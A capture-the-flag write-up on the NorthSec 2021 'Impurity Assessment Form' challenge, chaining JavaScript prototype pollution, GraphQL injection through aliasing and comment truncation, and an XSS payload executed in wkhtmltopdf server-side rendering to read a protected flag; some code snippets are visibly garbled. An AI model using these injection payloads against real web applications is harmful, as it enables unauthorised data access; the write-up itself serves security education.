NorthSec CTF 2021 Write Up: "Impurity Assessment Form"

This is a write up of a NorthSec 2021 CTF problem I solved with Allan Wirth (@Allan_Wirth) as part of team SaaS which finished in 3rd. It was an extremely creative problem to solve so I wanted to share it here. 


  • The strange name and prompt are medieval themed, as was the rest of the CTF. 

  • The .ctf links below will not work as the CTF was run on a private network per-team.

  • This was a "Jeopardy-style CTF" where each problem solved would earn a team points in the competition.


"You know, my friend, we all have our ailings. I've had my fair share of scourges and infections, and the recent plague just shows that everybody can be an impure. The Herbal Purity folks have a form out there where people can submit what ails them.

Can you make sure all of that is safe? I mean, I wouldn't want anybody to learn my little private secrets, if you know what I mean.


Initial Recon

When approaching a CTF problem it's important to first evaluate the "normal" workflow of the problem, and make sure not to miss anything.

  1. Connecting to http://form.herbal-purity.ctf/ we are greeted with a form.

  2. Filling out the form, the input we presented would be rendered on http://form.herbal-purity.ctf/render.html?id=5130285058679842 (where the ID is unique)

  3. There was then a "View as PDF" which appeared to render the URL /render.html server-side as http://form.herbal-purity.ctf/render.pdf?id=16201484738462613 


Example PDF render:


The file render.html can be found here (this file is referenced heavily below): 


There were 2 JavaScript files included on the site. We verified the hashes of these files, and matched what was found online as sometimes CTF authors will inject vulnerabilities into JavaScript libraries themselves:



There was also a graphql endpoint. This graphql endpoint allowed "introspection" which allowed up to enumerate all allowed operations:


With the Altair GraphQL Client Chrome plugin we could use it's built in ability to use "introspection" to document the GraphQL operations (mutations and queries) allowed:

"TreatmentInput" consisted of the fields {healer, patient, description} where all 3 were user supplied strings.

"Treatment" consisted of the fields {healer, patient, description, id, etag} where id and etag were set by the server.


Diving In

Our objective here is to find the string `FLAG-.*` that is contained somewhere in this server.

It was immediately obvious that the flag was contained in the graphql endpoint as /render.html would attempt to fetch the flag as {query:flag} and fail with a response {"flag":"Access denied"}. We strongly suspected that the server-side /render.pdf would be allowed to access the endpoint due to the html comment "// this field is only accessible when rendered as a pdf".

Additionally we noted that render.html was more complex than it needed to be and contained extra JavaScript functions.

The PDF render was wkhtmltopdf and the markdown used was "markdown-it". It was clear we needed a include javascript to exploit wkhtmltopdf as documented here:

Owning the clout through SSRF and PDF generators by Ben Sadeghipour & Sera Tonin Brocious

We did not believe we would find a new vulnerability in wkhtmltopdf, markdown-it, or in dompurify. 

Step 1 -- Prototype Pollution 

JavaScript prototype pollution is a security vulnerability where a user can access the __proto__ property of a JavaScript object. This is most commonly seen in NodeJS, due to merging objects together that contain user defined inputs (with a vulnerable library), but can also occur elsewhere.

Reference: Prototype pollution attack in NodeJS application by Olivier Arteau

JavaScript prototype pollution gives an attacker access to the parent object. This itself is not a security vulnerability, however if this object contained entries like "isAdmin" or "codeToExecute" this could obviously be used maliciously.

Additionally, as the application does not expect user input here, a DOS through application error is also possible. This can be best treated similarly to a C/C++ memory exploit -- it should be expeditiously patched before a full exploit can be discovered.

Switching back to the problem at hand, Allan observed that if we can control the "id" and "etag" parameters returned from the GraphQL query, we could inject the {html:true} into the "defaults" object in the "markdown" function using prototype pollution.

A simple nodejs program demonstrating this:

// credit: var cache = {};

function cacheFetch(id, etag, fn) { var entry; if ((entry = cache[id]) && entry[etag]) return entry[etag];

if (!entry) entry = cache[id] = {};

return (entry[etag] = fn());

} // pollute the global prototype of the base Object var treatment = { id: "__proto__", etag: "html" };

cacheFetch(, treatment.etag, function () { return treatment; });

// console.log

("Note that we have polluted the global prototype of the base Object:");

console.log(Object.prototype); var defaults = { html: false };

var options = {};

console.log("Global Object prototype properties are inherited:");


// will include inheirited values for (var i in options) { defaults[i] = options[i];

} console.log("defaults now has html set to a non-false value:");


Running this highlights the vulnerability:

# node test.js

Note that we have polluted the global prototype of the base Object:

[Object: null prototype] { html: { id: '__proto__', etag: 'html' } }

Global object properties are inherited:

[Object: null prototype] { html: { id: '__proto__', etag: 'html' } }

defaults now has html set to a non-false value:

{ html: { id: '__proto__', etag: 'html' } }

Step 2 -- GraphQL Injection

GraphQL itself is usually not prone to injection as it's a client-side query language. In this case however, it is being executed server-side. In render.html we can see that "id" value is being pulled directly from the URL and not sanitized, additionally JavaScript is not a strongly typed language meaning "id" can be an int or a string:

var id = decodeURIComponent('id=')[1]);

... var treatment = graphql('{ treatment(id: "'+id+'") { id etag healer patient description } }').treatment;

With the code above, it is clear we need to inject id to set ""/"treatment.etag". To do this we will use GraphQL aliasing. Using this, we can assign fields to equal the value of other fields in a query. This is commonly used to avoid name conflicts in a graphql query, but here we can use it as part of our exploit. Also note we can use "##" as a comment to cut off the end of the query. Our final desired query:

'{ treatment(id: "<id>"){ id: healer etag: patient description  } } ## ") { id etag healer patient description } 

Payload example:


Step 3 -- HTML Iframe Injection


We now need to inject the following into a treatmentCreate GraphQL input to capture the flag:

  • "description" needs to be set to an XSS payload: "<img src='#' onerror=\"document.getElementById('myspan').textContent = graphql('{ flag }').flag\" /><span id='myspan'>  </span>"

  • "healer":"__proto__","patient":"html" to exploit the prototype pollution above to skip the dompurify step


Sending this through as graphql:


And our result is rendered!



Submitting the flag, we received 6 points:

$ askgod submit "FLAG-ef50b98b53a70405cf861c8f239f6d7b"

Congratulations, you score your team 6 points! 


In order to solve this CTF problem, we ran JavaScript inside a wkhtmltopdf server-side PDF rendering process to grab the flag. We bypassed the mechanisms meant to stop this using a combination of a prototype pollution vulnerability and a GraphQL injection vulnerability.


This problem was worth 6 points of the 221 we gathered during the CTF. This CTF was full of crazy challenges like this (some easier, some harder) and was extremely well run. I highly recommend the NorthSec CTF to anyone who is remotely interested.

Thanks for reading!

Article Link: NorthSec CTF 2021 Write Up: "Impurity Assessment Form" - Akamai Security Intelligence and Threat Research Blog